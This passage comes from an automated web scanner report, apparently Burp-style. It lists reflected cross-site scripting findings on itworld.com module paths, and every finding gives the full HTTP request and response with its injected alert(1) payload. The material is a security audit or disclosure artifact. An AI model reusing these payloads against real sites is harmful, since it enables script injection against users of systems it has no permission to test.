<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/kickapps_commentsa7bb9"-alert(1)-"b348dc8e530/js/kickapps_comments.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reque
...[SNIP]...

1.286. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4485"><script>alert(1)</script>10378c9305c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/kickapps_commentse4485"><script>alert(1)</script>10378c9305c/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460567"
Content-Type: text/html; charset=utf-8
Content-Length: 57859
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:29 GMT
X-Varnish: 1038168186
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/kickapps_commentse4485"><script>alert(1)</script>10378c9305c/js/kickapps_comments.js?h"/>
...[SNIP]...

1.287. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a2853"-alert(1)-"7fe5413c766 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/kickapps_comments/jsa2853"-alert(1)-"7fe5413c766/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460588"
Content-Type: text/html; charset=utf-8
Content-Length: 57639
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:49 GMT
X-Varnish: 1038168761
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
p15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/kickapps_comments/jsa2853"-alert(1)-"7fe5413c766/kickapps_comments.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requeste
...[SNIP]...

1.288. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8684"><script>alert(1)</script>88dfa82f0a4 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/kickapps_comments/jse8684"><script>alert(1)</script>88dfa82f0a4/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:39 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460579"
Content-Type: text/html; charset=utf-8
Content-Length: 57859
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:44 GMT
X-Varnish: 1038168649
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/jse8684"><script>alert(1)</script>88dfa82f0a4/kickapps_comments.js?h"/>
...[SNIP]...

1.289. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c89ec"><script>alert(1)</script>5639996c7b was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.jsc89ec"><script>alert(1)</script>5639996c7b?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460595"
Content-Type: text/html; charset=utf-8
Content-Length: 57848
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:56 GMT
X-Varnish: 1038168910
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.jsc89ec"><script>alert(1)</script>5639996c7b?h"/>
...[SNIP]...

1.290. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6096a"-alert(1)-"4101d8b4954 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js6096a"-alert(1)-"4101d8b4954?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460599"
Content-Type: text/html; charset=utf-8
Content-Length: 57643
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:03 GMT
X-Varnish: 1038168997
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js6096a"-alert(1)-"4101d8b4954";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.291. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload acf9f"-alert(1)-"26832100f57 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesacf9f"-alert(1)-"26832100f57/all/modules/contrib/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460059"
Content-Type: text/html; charset=utf-8
Content-Length: 57386
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:01 GMT
X-Varnish: 1959724252
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesacf9f"-alert(1)-"26832100f57/all/modules/contrib/mollom/mollom.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the p
...[SNIP]...

1.292. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aee12"><script>alert(1)</script>784ba5a4a26 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesaee12"><script>alert(1)</script>784ba5a4a26/all/modules/contrib/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460003"
Content-Type: text/html; charset=utf-8
Content-Length: 57606
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:35 GMT
X-Varnish: 1959722616
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesaee12"><script>alert(1)</script>784ba5a4a26/all/modules/contrib/mollom/mollom.js?h"/>
...[SNIP]...

1.293. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ac5e7"-alert(1)-"1616447e839 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesac5e7"-alert(1)-"1616447e839/contrib/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460173"
Content-Type: text/html; charset=utf-8
Content-Length: 57386
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:03 GMT
X-Varnish: 252446763
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesac5e7"-alert(1)-"1616447e839/contrib/mollom/mollom.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requ
...[SNIP]...

1.294. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a1e1"><script>alert(1)</script>42a7e3ae3b3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules2a1e1"><script>alert(1)</script>42a7e3ae3b3/contrib/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460154"
Content-Type: text/html; charset=utf-8
Content-Length: 57605
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:35 GMT
X-Varnish: 252446390
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules2a1e1"><script>alert(1)</script>42a7e3ae3b3/contrib/mollom/mollom.js?h"/>
...[SNIP]...

1.295. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91add"-alert(1)-"bb8c0875e8b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib91add"-alert(1)-"bb8c0875e8b/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460222"
Content-Type: text/html; charset=utf-8
Content-Length: 57392
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:45 GMT
X-Varnish: 252447761
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib91add"-alert(1)-"bb8c0875e8b/mollom/mollom.js";
s.events="";
s.products="";
